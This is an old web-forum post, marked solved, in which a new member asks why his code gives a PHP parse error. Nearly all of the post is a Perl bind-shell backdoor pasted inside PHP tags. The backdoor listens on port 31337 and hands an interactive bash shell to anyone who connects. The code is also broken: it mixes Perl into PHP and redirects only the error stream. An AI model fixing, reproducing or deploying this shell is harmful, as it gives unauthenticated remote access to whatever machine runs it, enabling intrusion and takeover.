
07-03-08, 04:03 AM
|
|
New Member
|
|
Join Date: Jul 2008
Posts: 2
Thanks: 0
Thanked 0 Times in 0 Posts
|
|
[SOLVED] Parse error.
Hi all!!
I'm new at this forum, and I have a little problem with this code...
there is my code:
PHP Code:
<html>
<head>
<title></title>
</head>
<body>
<?php
#!/usr/bin/perl
$SHELL="/bin/bash -i";
$LISTEN_PORT="31337";
use Socket; ## it's 17 line in code, there is an error...
$protocol=getprotobyname('tcp');
socket(S,&PF_INET,&SOCK_STREAM,$protocol) || die "Cant create socket ";
setsockopt(S,SOL_SOCKET,SO_REUSEADDR,1);
bind (S,sockaddr_in($LISTEN_PORT,INADDR_ANY)) || die "Cant open port ";
listen (S,3) || die "Cant listen port ";
while(1)
{
accept (CONN,S);
if(! ($pid=fork))
{
die "Cannot fork" if (! defined $pid);
open STDERR,">&CONN";
exec $SHELL || die print CONN "Cant execute $SHELL ";
close CONN;
exit 0;
}
}
?>
</body>
</html>
please, help me... 
|